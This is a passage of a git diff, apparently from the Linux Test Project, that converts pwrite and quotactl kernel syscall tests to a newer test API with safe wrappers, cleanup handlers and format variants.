- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- * Deallocate the memory allocated to write buffer.
- * Close the temporary file.
- * Remove the temporary directory created.
- */
-void cleanup(void)
+static void verify_pwrite(void)
+{
+	SAFE_PWRITE(1, fildes, write_buf[0], K1, 0);
+	l_seek(fildes, 0, SEEK_CUR, 0);
+	l_seek(fildes, K1 / 2, SEEK_SET, K1 / 2);
+
+	SAFE_PWRITE(1, fildes, write_buf[2], K1, K2);
+	l_seek(fildes, 0, SEEK_CUR, K1 / 2);
+	l_seek(fildes, K3, SEEK_SET, K3);
+
+	SAFE_WRITE(1, fildes, write_buf[3], K1);
+	l_seek(fildes, 0, SEEK_CUR, K4);
+
+	SAFE_PWRITE(1, fildes, write_buf[1], K1, K1);
+
+	check_file_contents();
+
+	l_seek(fildes, 0, SEEK_SET, 0);
+}
+
+static void setup(void)
 {
 	int count;
 
-	/* Free the memory allocated for the write buffer */
 	for (count = 0; count < NBUFS; count++) {
-		free(write_buf[count]);
+		write_buf[count] = SAFE_MALLOC(K1);
+		read_buf[count] = SAFE_MALLOC(K1);
+		memset(write_buf[count], count, K1);
 	}
 
-	/* Close the temporary file */
-	SAFE_CLOSE(NULL, fildes);
-
-	tst_rmdir();
-
+	fildes = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666);
 }
+
+static void cleanup(void)
+{
+	int count;
+
+	for (count = 0; count < NBUFS; count++) {
+		free(write_buf[count]);
+		free(read_buf[count]);
+	}
+
+	if (fildes > 0)
+		SAFE_CLOSE(fildes);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_pwrite,
+};
diff --git a/testcases/kernel/syscalls/pwrite/pwrite02.c b/testcases/kernel/syscalls/pwrite/pwrite02.c
index 221904c..9a40edd 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite02.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite02.c
@@ -1,21 +1,18 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines Corp., 2001
+ * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * Test Description:
- *  Verify that,
- *   1) pwrite() fails when attempted to write to an unnamed pipe,
- *      returns ESPIPE.
- *   2) pwrite() fails if the specified offset position was invalid,
- *	returns EINVAL.
- *   3) pwrite() fails if fd is not a valid file descriptor,
- *	returns EBADF.
- *   4) pwrite() fails if fd is not open for writing, return EBADF.
- *   5) pwrite() fails when attempted to write with buf outside
- *      accessible address space, returns EFAULT.
+/*\
+ * [Description]
+ *
+ * Test basic error handling of the pwrite syscall.
+ *
+ * - ESPIPE when attempted to write to an unnamed pipe
+ * - EINVAL the specified offset position was invalid
+ * - EBADF fd is not a valid file descriptor
+ * - EBADF fd is not open for writing
+ * - EFAULT when attempted to write with buf outside accessible address space
  */
 
 #include <errno.h>
@@ -60,10 +57,10 @@
 
 	if (sig != SIGXFSZ) {
 		ret = write(STDOUT_FILENO, "get wrong signal\n",
-		            sizeof("get wrong signal\n"));
+			sizeof("get wrong signal\n"));
 	} else {
 		ret = write(STDOUT_FILENO, "caught SIGXFSZ\n",
-		            sizeof("caught SIGXFSZ\n"));
+			sizeof("caught SIGXFSZ\n"));
 	}
 
 	(void)ret;
@@ -73,20 +70,8 @@
 {
 	struct tcase *tc = &tcases[i];
 
-	TEST(pwrite(*tc->fd, tc->buf, BS, tc->off));
-
-	if (TST_RET >= 0) {
-		tst_res(TFAIL, "call succeeded unexpectedly");
-		return;
-	}
-
-	if (TST_ERR != tc->exp_errno) {
-		tst_res(TFAIL | TTERRNO,
-			"pwrite failed unexpectedly, expected %s",
-			tst_strerrno(tc->exp_errno));
-	}
-
-	tst_res(TPASS | TTERRNO, "pwrite failed as expected");
+	TST_EXP_FAIL2(pwrite(*tc->fd, tc->buf, BS, tc->off), tc->exp_errno,
+		"pwrite(%d, %d, %ld)", *tc->fd, BS, tc->off);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/pwrite/pwrite03.c b/testcases/kernel/syscalls/pwrite/pwrite03.c
index 6f53f5c..ae572c1 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite03.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite03.c
@@ -3,7 +3,10 @@
  * Copyright (c) 2017 Carlo Marcelo Arenas Belon <carlo@gmail.com>
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
-/*
+
+/*\
+ * [Description]
+ *
  * Tests for a special case NULL buffer with size 0 is expected to return 0.
  */
 
@@ -14,15 +17,7 @@
 
 static void verify_pwrite(void)
 {
-	TEST(pwrite(fd, NULL, 0, 0));
-
-	if (TST_RET != 0) {
-		tst_res(TFAIL | TTERRNO,
-			"pwrite() should have succeeded with ret=0");
-		return;
-	}
-
-	tst_res(TPASS, "pwrite(fd, NULL, 0) == 0");
+	TST_EXP_PASS(pwrite(fd, NULL, 0, 0), "pwrite(%d, NULL, 0) == 0", fd);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/pwrite/pwrite04.c b/testcases/kernel/syscalls/pwrite/pwrite04.c
index 4a2825b..8599553 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite04.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite04.c
@@ -1,267 +1,93 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2002
+ * ported from SPIE, section2/filesuite/pread_pwrite.c, by Airong Zhang
  */
 
-/*
- * NAME
- *      pwrite04.c (ported from SPIE, section2/filesuite/pread_pwrite.c,
- *      	        by Airong Zhang)
+/*\
+ * [Description]
  *
- * TEST SUMMARY
- *	Test the pwrite() system call with O_APPEND.
+ * Test the pwrite() system call with O_APPEND.
  *
- * USAGE
- *  	pwrite04
+ * Writing 2k data to the file, close it and reopen it with O_APPEND.
  *
+ * POSIX requires that opening a file with the O_APPEND flag should have no effect on the
+ * location at which pwrite() writes data. However, on Linux, if a file is opened with
+ * O_APPEND, pwrite() appends data to the end of the file, regardless of the value of offset.
  */
 
-#define _XOPEN_SOURCE 500
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <memory.h>
-#include <errno.h>
-#include "test.h"
+#include <stdlib.h>
+#include <inttypes.h>
+#include "tst_test.h"
+#include "tst_safe_prw.h"
 
-char *TCID = "pwrite04";
-int TST_TOTAL = 1;
-int local_flag;
+#define K1              1024
+#define K2              (K1 * 2)
+#define K3              (K1 * 3)
+#define DATA_FILE       "pwrite04_file"
 
-#define PASSED 1
-#define FAILED 0
+static int fd = -1;
+static char *write_buf[2];
 
-int block_cnt = 0;
-
-#define K1    		1024
-#define K2    		(K1 * 2)
-#define K3    		(K1 * 3)
-#define K4    		(K1 * 4)
-#define K5    		(K1 * 5)
-#define	NBUFS 		4
-#define DATA_FILE	"pwrite04_file"
-
-char name[256], fname[256];
-
-void init_buffers(char *[]);
-void l_seek(int, off_t, int, off_t);
-static void cleanup(void);
-
-int main(int ac, char *av[])
-{
-	int fd;
-	int nbytes;
-	char *wbuf[NBUFS];
-	struct stat statbuf;
-	int lc;
-
-	strcpy(name, DATA_FILE);
-	sprintf(fname, "%s.%d", name, getpid());
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	tst_tmpdir();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		init_buffers(wbuf);
-		local_flag = PASSED;
-
-		if ((fd = open(fname, O_RDWR | O_CREAT, 0666)) < 0) {
-			tst_resm(TBROK, "open failed: fname = %s, errno = %d",
-				 fname, errno);
-			cleanup();
-		}
-		/*
-		 * pwrite() K1 of data (0's) at offset 0.
-		 */
-		if ((nbytes = pwrite(fd, wbuf[0], K1, 0)) != K1) {
-			tst_resm(TFAIL,
-				 "pwrite at 0 failed: nbytes=%d, errno=%d",
-				 nbytes, errno);
-			cleanup();
-		}
-
-		/*
-		 * We should still be at offset 0.
-		 */
-		l_seek(fd, 0, SEEK_CUR, 0);
-
-		/*
-		 * lseek() to a non K boundary, just to be different.
-		 */
-		l_seek(fd, K1 / 2, SEEK_SET, K1 / 2);
-
-		/*
-		 * pwrite() K1 of data (2's) at offset K2.
-		 */
-		if ((nbytes = pwrite(fd, wbuf[2], K1, K2)) != K1) {
-			tst_resm(TFAIL,
-				 "pwrite at K2 failed: nbytes=%d, errno=%d",
-				 nbytes, errno);
-			cleanup();
-		}
-
-		/*
-		 * We should still be at our non K boundary.
-		 */
-		l_seek(fd, 0, SEEK_CUR, K1 / 2);
-
-		/*
-		 * lseek() to an offset of K3.
-		 */
-		l_seek(fd, K3, SEEK_SET, K3);
-
-		/*
-		 * This time use a normal write() of K1 of data (3's) which should
-		 * take place at an offset of K3, moving the file pointer to K4.
-		 */
-		if ((nbytes = write(fd, wbuf[3], K1)) != K1) {
-			tst_resm(TFAIL, "write failed: nbytes=%d, errno=%d",
-				 nbytes, errno);
-			cleanup();
-		}
-
-		/*
-		 * We should be at offset K4.
-		 */
-		l_seek(fd, 0, SEEK_CUR, K4);
-
-		/*
-		 * pwrite() K1 of data (1's) at offset K1.
-		 */
-		if ((nbytes = pwrite(fd, wbuf[1], K1, K1)) != K1) {
-			tst_resm(TFAIL, "pwrite failed: nbytes=%d, errno=%d",
-				 nbytes, errno);
-			cleanup();
-		}
-
-	/*--------------------------------------------------------------*/
-
-		/*
-		 * Now test that O_APPEND takes precedence over any
-		 * offset specified by pwrite(), but that the file
-		 * pointer remains unchanged.  First, close then reopen
-		 * the file and ensure it is already K4 in length and
-		 * set the file pointer to it's midpoint, K2.
-		 */
-		close(fd);
-		if ((fd = open(fname, O_RDWR | O_APPEND, 0666)) < 0) {
-			tst_resm(TBROK, "open failed: fname = %s, errno = %d",
-				 fname, errno);
-			cleanup();
-		}
-		if (fstat(fd, &statbuf) == -1) {
-			tst_resm(TFAIL, "fstat failed: errno = %d", errno);
-			cleanup();
-		}
-		if (statbuf.st_size != K4) {
-			tst_resm(TFAIL, "file size is %ld != K4",
-				 statbuf.st_size);
-			cleanup();
-		}
-		l_seek(fd, K2, SEEK_SET, K2);
-
-		/*
-		 * Finally, pwrite() some K1 of data at offset 0.
-		 * What we should end up with is:
-		 *      -The file pointer should still be at K2.
-		 *      -The data should have been written to the end
-		 *       of the file (O_APPEND) and should be K5 in size.
-		 */
-		if ((nbytes = pwrite(fd, wbuf[0], K1, 0)) != K1) {
-			tst_resm(TFAIL,
-				 "pwrite at 0 failed: nbytes=%d, errno=%d",
-				 nbytes, errno);
-
-		}
-		l_seek(fd, 0, SEEK_CUR, K2);
-		if (fstat(fd, &statbuf) == -1) {
-			tst_resm(TFAIL, "fstat failed: errno = %d", errno);
-
-		}
-		if (statbuf.st_size != K5) {
-			tst_resm(TFAIL, "file size is %ld != K4",
-				 statbuf.st_size);
-
-		}
-		tst_resm(TPASS, "O_APPEND test passed.");
-
-	/*------------------------------------------------------------------------*/
-
-		close(fd);
-		unlink(fname);
-	}			/* end for */
-	cleanup();
-	tst_exit();
-
-}
-
-/*------------------------------------------------------------------------*/
-
-/*
- * init_buffers() allocates wbuf[] array
- * as follows:
- * wbuf[0] has 0's, wbuf[1] has 1's, wbuf[2] has 2's, and wbuf[3] has 3's.
- */
-void init_buffers(char *wbuf[])
-{
-	int i;
-
-	for (i = 0; i < NBUFS; i++) {
-		wbuf[i] = malloc(K1);
-		if (wbuf[i] == NULL) {
-			tst_brkm(TBROK, NULL, "ib: malloc failed: errno=%d",
-				 errno);
-		}
-		memset(wbuf[i], i, K1);
-	}
-}
-
-/*
- * l_seek() is a local front end to lseek().
- * "checkoff" is the offset at which we believe we should be at.
- * Used to validate pwrite doesn't move the offset.
- */
-void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
+static void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
 {
 	off_t offloc;
 
-	if ((offloc = lseek(fdesc, offset, whence)) != checkoff) {
-		tst_brkm(TFAIL, NULL,
-			 "(%ld = lseek(%d, %ld, %d)) != %ld) errno = %d",
-			 offloc, fdesc, offset, whence, checkoff, errno);
+	offloc = SAFE_LSEEK(fdesc, offset, whence);
+	if (offloc != checkoff) {
+		tst_res(TFAIL, "%" PRId64 " = lseek(%d, %" PRId64 ", %d) != %" PRId64,
+			(int64_t)offloc, fdesc, (int64_t)offset, whence, (int64_t)checkoff);
 	}
 }
 
-/*
- * cleanup() - Performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- *	Print test timing stats and errno log if test executed with options.
- *	Close the testfile if still opened.
- *	Remove temporary directory and sub-directories/files under it
- *	created during setup().
- *	Exit the test program with normal exit code.
- */
-void cleanup(void)
+static void verify_pwrite(void)
 {
+	struct stat statbuf;
 
-	tst_rmdir();
+	fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
+	SAFE_PWRITE(1, fd, write_buf[0], K2, 0);
+	SAFE_CLOSE(fd);
 
+	fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_APPEND, 0666);
+	SAFE_FSTAT(fd, &statbuf);
+	if (statbuf.st_size != K2)
+		tst_res(TFAIL, "file size is %ld != K2", statbuf.st_size);
+
+	/* Appends data to the end of the file regardless of offset. */
+	l_seek(fd, K1, SEEK_SET, K1);
+	SAFE_PWRITE(1, fd, write_buf[1], K1, 0);
+	l_seek(fd, 0, SEEK_CUR, K1);
+	SAFE_FSTAT(fd, &statbuf);
+	if (statbuf.st_size != K3)
+		tst_res(TFAIL, "file size is %ld != K3", statbuf.st_size);
+
+	tst_res(TPASS, "O_APPEND test passed.");
+	SAFE_CLOSE(fd);
 }
+
+static void setup(void)
+{
+	write_buf[0] = SAFE_MALLOC(K2);
+	memset(write_buf[0], 0, K2);
+	write_buf[1] = SAFE_MALLOC(K1);
+	memset(write_buf[0], 1, K1);
+}
+
+static void cleanup(void)
+{
+	free(write_buf[0]);
+	free(write_buf[1]);
+
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+
+	SAFE_UNLINK(DATA_FILE);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_pwrite,
+};
diff --git a/testcases/kernel/syscalls/pwritev/Makefile b/testcases/kernel/syscalls/pwritev/Makefile
index 764c956..ae71ae0 100644
--- a/testcases/kernel/syscalls/pwritev/Makefile
+++ b/testcases/kernel/syscalls/pwritev/Makefile
@@ -1,21 +1,6 @@
-#
-#  Copyright (c) 2015 Fujitsu Ltd.
-#  Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program.
-#
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015 Fujitsu Ltd.
+# Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/syscalls/quotactl/.gitignore b/testcases/kernel/syscalls/quotactl/.gitignore
index 8d2ef94..94de2c8 100644
--- a/testcases/kernel/syscalls/quotactl/.gitignore
+++ b/testcases/kernel/syscalls/quotactl/.gitignore
@@ -5,3 +5,5 @@
 /quotactl05
 /quotactl06
 /quotactl07
+/quotactl08
+/quotactl09
diff --git a/testcases/kernel/syscalls/quotactl/quotactl01.c b/testcases/kernel/syscalls/quotactl/quotactl01.c
index 56146b5..36ec93e 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl01.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl01.c
@@ -1,57 +1,47 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Crackerjack Project., 2007
- * Copyright (c) 2016-2019 FUJITSU LIMITED. All rights reserved
+ * Copyright (c) 2016-2021 FUJITSU LIMITED. All rights reserved
  * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
- *
- * This testcase checks the basic flag of quotactl(2) for non-XFS filesystems:
- * 1) quotactl(2) succeeds to turn on quota with Q_QUOTAON flag for user.
- * 2) quotactl(2) succeeds to set disk quota limits with Q_SETQUOTA flag
- *    for user.
- * 3) quotactl(2) succeeds to get disk quota limits with Q_GETQUOTA flag
- *    for user.
- * 4) quotactl(2) succeeds to set information about quotafile with Q_SETINFO
- *    flag for user.
- * 5) quotactl(2) succeeds to get information about quotafile with Q_GETINFO
- *    flag for user.
- * 6) quotactl(2) succeeds to get quota format with Q_GETFMT flag for user.
- * 7) quotactl(2) succeeds to update quota usages with Q_SYNC flag for user.
- * 8) quotactl(2) succeeds to get disk quota limit greater than or equal to
- *    ID with Q_GETNEXTQUOTA flag for user.
- * 9) quotactl(2) succeeds to turn off quota with Q_QUOTAOFF flag for user.
- * 10) quotactl(2) succeeds to turn on quota with Q_QUOTAON flag for group.
- * 11) quotactl(2) succeeds to set disk quota limits with Q_SETQUOTA flag
- *     for group.
- * 12) quotactl(2) succeeds to get disk quota limits with Q_GETQUOTA flag
- *     for group.
- * 13) quotactl(2) succeeds to set information about quotafile with Q_SETINFO
- *     flag for group.
- * 14) quotactl(2) succeeds to get information about quotafile with Q_GETINFO
- *     flag for group.
- * 15) quotactl(2) succeeds to get quota format with Q_GETFMT flag for group.
- * 16) quotactl(2) succeeds to update quota usages with Q_SYNC flag for group.
- * 17) quotactl(2) succeeds to get disk quota limit greater than or equal to
- *     ID with Q_GETNEXTQUOTA flag for group.
- * 18) quotactl(2) succeeds to turn off quota with Q_QUOTAOFF flag for group.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
  */
 
-#include "config.h"
+/*\
+ * [Description]
+ * This testcases checks that quotactl(2) on ext4 filesystem succeeds to:
+ *
+ * - turn on quota with Q_QUOTAON flag for user
+ * - set disk quota limits with Q_SETQUOTA flag for user
+ * - get disk quota limits with Q_GETQUOTA flag for user
+ * - set information about quotafile with Q_SETINFO flag for user
+ * - get information about quotafile with Q_GETINFO flag for user
+ * - get quota format with Q_GETFMT flag for user
+ * - update quota usages with Q_SYNC flag for user
+ * - get disk quota limit greater than or equal to ID with Q_GETNEXTQUOTA flag for user
+ * - turn off quota with Q_QUOTAOFF flag for user
+ * - turn on quota with Q_QUOTAON flag for group
+ * - set disk quota limits with Q_SETQUOTA flag for group
+ * - get disk quota limits with Q_GETQUOTA flag for group
+ * - set information about quotafile with Q_SETINFO flag for group
+ * - get information about quotafile with Q_GETINFO flag for group
+ * - get quota format with Q_GETFMT flag for group
+ * - update quota usages with Q_SYNC flag for group
+ * - get disk quota limit greater than or equal to ID with Q_GETNEXTQUOTA flag for group
+ * - turn off quota with Q_QUOTAOFF flag for group
+ */
+
 #include <errno.h>
 #include <string.h>
 #include <unistd.h>
 #include <stdio.h>
-#include "lapi/quotactl.h"
 #include "tst_test.h"
+#include "quotactl_fmt_var.h"
 
-#ifndef QFMT_VFS_V0
-# define QFMT_VFS_V0	2
-#endif
 #define USRPATH MNTPOINT "/aquota.user"
 #define GRPPATH MNTPOINT "/aquota.group"
-#define FMTID	QFMT_VFS_V0
 #define MNTPOINT	"mntpoint"
 
-static int32_t fmt_id = FMTID;
+static int32_t fmt_id;
 static int test_id;
 static char usrpath[] = USRPATH;
 static char grppath[] = GRPPATH;
@@ -163,18 +153,16 @@
 
 static void setup(void)
 {
-	const char *const cmd[] = {"quotacheck", "-ugF", "vfsv0", MNTPOINT, NULL};
+	const struct quotactl_fmt_variant *var = &fmt_variants[tst_variant];
+	const char *const cmd[] = {"quotacheck", "-ugF", var->fmt_name, MNTPOINT, NULL};
 
+	tst_res(TINFO, "quotactl() with %s format", var->fmt_name);
 	SAFE_CMD(cmd, NULL, NULL);
+	fmt_id = var->fmt_id;
 
-	test_id = geteuid();
-	if (access(USRPATH, F_OK) == -1)
-		tst_brk(TFAIL | TERRNO, "user quotafile didn't exist");
+	SAFE_ACCESS(USRPATH, F_OK);
 
-	if (access(GRPPATH, F_OK) == -1)
-		tst_brk(TFAIL | TERRNO, "group quotafile didn't exist");
-
-	tst_require_quota_support(tst_device->dev, fmt_id, usrpath);
+	SAFE_ACCESS(GRPPATH, F_OK);
 
 	TEST(quotactl(QCMD(Q_GETNEXTQUOTA, USRQUOTA), tst_device->dev,
 		test_id, (void *) &res_ndq));
@@ -182,6 +170,12 @@
 		getnextquota_nsup = 1;
 }
 
+static void cleanup(void)
+{
+	SAFE_UNLINK(USRPATH);
+	SAFE_UNLINK(GRPPATH);
+}
+
 static void verify_quota(unsigned int n)
 {
 	struct tcase *tc = &tcases[n];
@@ -198,11 +192,10 @@
 		tst_res(TCONF, "current system doesn't support this cmd");
 		return;
 	}
-	TEST(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr));
-	if (TST_RET == -1) {
-		tst_res(TFAIL | TTERRNO, "quotactl failed to %s", tc->des);
+	TST_EXP_PASS_SILENT(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr),
+			"quotactl to %s", tc->des);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (memcmp(tc->res_data, tc->set_data, tc->sz)) {
 		tst_res(TFAIL, "quotactl failed to %s", tc->des);
@@ -216,8 +209,8 @@
 
 static struct tst_test test = {
 	.needs_root = 1,
-	.needs_kconfigs = (const char *[]) {
-		"CONFIG_QFMT_V2",
+	.needs_drivers = (const char *const []) {
+		"quota_v2",
 		NULL
 	},
 	.test = verify_quota,
@@ -231,4 +224,6 @@
 		NULL
 	},
 	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = QUOTACTL_FMT_VARIANTS,
 };
diff --git a/testcases/kernel/syscalls/quotactl/quotactl02.c b/testcases/kernel/syscalls/quotactl/quotactl02.c
index 4186bff..d9c4f9b 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl02.c
+++ b/testcases/kernel/syscalls/quotactl/quotactl02.c
@@ -1,37 +1,32 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2013-2019 FUJITSU LIMITED. All rights reserved
+ * Copyright (c) 2013-2021 FUJITSU LIMITED. All rights reserved
  * Author: DAN LI <li.dan@cn.fujitsu.com>
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This testcase checks basic flags of quotactl(2) for an XFS file system:
- * 1) quotactl(2) succeeds to turn off xfs quota and get xfs quota off status
- *    for user.
- * 2) quotactl(2) succeeds to turn on xfs quota and get xfs quota on status
- *    for usr.
- * 3) quotactl(2) succeeds to set and use Q_XGETQUOTA to get xfs disk quota
- *    limits for user.
- * 4) quotactl(2) succeeds to set and use Q_XGETNEXTQUOTA to get xfs disk
- *    quota limits greater than or equal to ID for user.
- * 5) quotactl(2) succeeds to turn off xfs quota and get xfs quota off statv
- *    for user.
- * 6) quotactl(2) succeeds to turn on xfs quota and get xfs quota on statv
- *    for user.
- * 7) quotactl(2) succeeds to turn off xfs quota and get xfs quota off status
- *    for group.
- * 8) quotactl(2) succeeds to turn on xfs quota and get xfs quota on status
- *    for group.
- * 9) quotactl(2) succeeds to set and use Q_XGETQUOTA to get xfs disk quota
- *    limits for group.
- * 10)quotactl(2) succeeds to set and use Q_XGETNEXTQUOTA to get xfs disk
- *    quota limits for group.
- * 11)quotactl(2) succeeds to turn off xfs quota and get xfs quota off statv
- *    for group.
- * 12)quotactl(2) succeeds to turn on xfs quota and get xfs quota on statv
- *    for group.
+ * This testcases checks that quotactl(2) on xfs filesystem succeeds to:
+ *
+ * - turn off xfs quota and get xfs quota off status for user
+ * - turn on xfs quota and get xfs quota on status for user
+ * - set and use Q_XGETQUOTA to get xfs disk quota limits for user
+ * - set and use Q_XGETNEXTQUOTA to get xfs disk quota limits greater than or
+ *   equal to ID for user
+ * - turn off xfs quota and get xfs quota off statv for user
+ * - turn on xfs quota and get xfs quota on statv for user
+ * - turn off xfs quota and get xfs quota off status for group
+ * - turn on xfs quota and get xfs quota on status for group
+ * - set and use Q_XGETQUOTA to get xfs disk quota limits for group
+ * - set and use Q_XGETNEXTQUOTA to get xfs disk quota limits for group
+ * - turn off xfs quota and get xfs quota off statv for group
+ * - turn on xfs quota and get xfs quota on statv for gorup
  */
 
 #include "quotactl02.h"
+#include "quotactl_syscall_var.h"
 
 #ifdef HAVE_XFS_XQM_H
 static uint32_t qflagu = XFS_QUOTA_UDQ_ENFD;
@@ -105,11 +100,18 @@
 
 static void setup(void)
 {
-	test_id = geteuid();
+	quotactl_info();
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
 	check_support_cmd(USRQUOTA);
 	check_support_cmd(GRPQUOTA);
 }
 
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
 static void verify_quota(unsigned int n)
 {
 	struct t_case *tc = &tcases[n];
@@ -128,11 +130,10 @@
 		return;
 	}
 
-	TEST(quotactl(tc->cmd, tst_device->dev, test_id, tc->addr));
-	if (TST_RET == -1) {
-		tst_res(TFAIL | TTERRNO, "quotactl() failed to %s", tc->des);
+	TST_EXP_PASS_SILENT(do_quotactl(fd, tc->cmd, tst_device->dev, test_id, tc->addr),
+		"do_quotactl()");
+	if (!TST_PASS)
 		return;
-	}
 
 	if (tc->flag)
 		tc->func_check(tc->check_subcmd, tc->des, *(int *)(tc->addr));
@@ -150,9 +151,11 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.mount_device = 1,
 	.dev_fs_type = "xfs",
-	.mntpoint = mntpoint,
+	.mntpoint = MNTPOINT,
 	.mnt_data = "usrquota,grpquota",
 	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
 };
 #else
 	TST_TEST_TCONF("System doesn't have <xfs/xqm.h>");
diff --git a/testcases/kernel/syscalls/quotactl/quotactl02.h b/testcases/kernel/syscalls/quotactl/quotactl02.h
index 37f3d7e..a5683ae 100644
--- a/testcases/kernel/syscalls/quotactl/quotactl02.h
+++ b/testcases/kernel/syscalls/quotactl/quotactl02.h
@@ -1,19 +1,18 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
  */
 
 #ifndef QUOTACTL02_H
 #define QUOTACTL02_H
 
 #define _GNU_SOURCE
-#include "config.h"
 #include <errno.h>
 #include <unistd.h>
 #include <stdio.h>
 #include "tst_test.h"
-#include "lapi/quotactl.h"
+#include "quotactl_syscall_var.h"
 
 #ifdef HAVE_XFS_XQM_H
 # include <xfs/xqm.h>
@@ -25,9 +24,8 @@
 static uint32_t test_id;
 static int x_getnextquota_nsup;
 static int x_getstatv_nsup;
-static const char mntpoint[] = "mnt_point";
 
-void check_support_cmd(int quotatype)
+static void check_support_cmd(int quotatype)
 {
 	struct fs_disk_quota resfs_dquota;
 	struct fs_quota_statv resfs_qstatv = {
@@ -37,28 +35,26 @@
 	x_getnextquota_nsup = 0;
 	x_getstatv_nsup = 0;
 
-	TEST(quotactl(QCMD(Q_XGETNEXTQUOTA, quotatype), tst_device->dev,
+	TEST(do_quotactl(fd, QCMD(Q_XGETNEXTQUOTA, quotatype), tst_device->dev,
 		      test_id, (void *) &resfs_dquota));
 	if (TST_ERR == EINVAL || TST_ERR == ENOSYS)
 		x_getnextquota_nsup = 1;
 
-	TEST(quotactl(QCMD(Q_XGETQSTATV, quotatype), tst_device->dev, test_id,
+	TEST(do_quotactl(fd, QCMD(Q_XGETQSTATV, quotatype), tst_device->dev, test_id,
 		      (void *) &resfs_qstatv));
 	if (TST_ERR == EINVAL || TST_ERR == ENOSYS)
 		x_getstatv_nsup = 1;
 
 }
-void check_qoff(int subcmd, char *desp, int flag)
+
+static void check_qoff(int subcmd, char *desp, int flag)
 {
-	int res;
 	struct fs_quota_stat res_qstat;
 
-	res = quotactl(subcmd, tst_device->dev, test_id, (void *) &res_qstat);
-	if (res == -1) {
-		tst_res(TFAIL | TERRNO,
-			"quotactl() failed to get xfs quota off status");
+	TST_EXP_PASS_SILENT(do_quotactl(fd, subcmd, tst_device->dev, test_id,
+			(void *) &res_qstat), "do_quotactl() to %s", desp);
+	if (!TST_PASS)
 		return;
-	}
 
 	if (res_qstat.qs_flags & flag) {
 		tst_res(TFAIL, "xfs quota enforcement was on unexpectedly");
@@ -68,17 +64,14 @@
 	tst_res(TPASS, "quotactl() succeeded to %s", desp);
 }
 
-void check_qon(int subcmd, char *desp, int flag)
+static void check_qon(int subcmd, char *desp, int flag)
 {
-	int res;
 	struct fs_quota_stat res_qstat;
 
